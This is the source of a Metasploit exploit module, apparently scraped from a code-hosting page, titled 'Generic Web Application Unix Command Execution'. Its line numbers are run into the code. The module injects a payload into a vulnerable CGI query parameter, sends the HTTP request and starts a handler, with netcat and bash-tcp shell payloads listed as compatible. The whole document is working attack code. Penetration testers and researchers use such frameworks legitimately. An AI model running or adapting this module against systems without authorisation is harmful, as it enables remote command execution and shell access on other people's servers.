Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/generic_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'Generic Web Application Unix Command Execution',14'Description' => %q{15This module can be used to exploit any generic command execution vulnerability16for CGI applications on Unix-like platforms. To use this module, specify the17CMDURI path, replacing the command itself with XXcmdXX. This module is currently18limited to forms vulnerable through GET requests with query parameters.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' => [ ],23'Privileged' => false,24'Payload' =>25{26'DisableNops' => true,27'Space' => 1024,28'Compat' =>29{30'PayloadType' => 'cmd cmd_bash',31'RequiredCmd' => 'generic perl telnet netcat netcat-e bash-tcp',32}33},34'Platform' => 'unix',35'Arch' => ARCH_CMD,36'Targets' => [[ 'Automatic', { }]],37'DisclosureDate' => '1993-11-14', # CGI historical date :)38'DefaultTarget' => 0))3940register_options(41[42OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),43])44end4546def exploit47uri = datastore['CMDURI'].to_s48uri,query = uri.split('?', 2)4950if query51query = query.split('&').map{|var|52k,v = var.split('=', 2)53Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))54}.join('&')55uri = uri + '?' + query56end5758print_status("Sending HTTP request for #{uri}")59res = send_request_cgi( {60'global' => true,61'uri' => uri62}, 30)6364if res65print_status("The server responded with HTTP CODE #{res.code}")66else67print_status("The server did not respond to our request")68end6970handler71end72end737475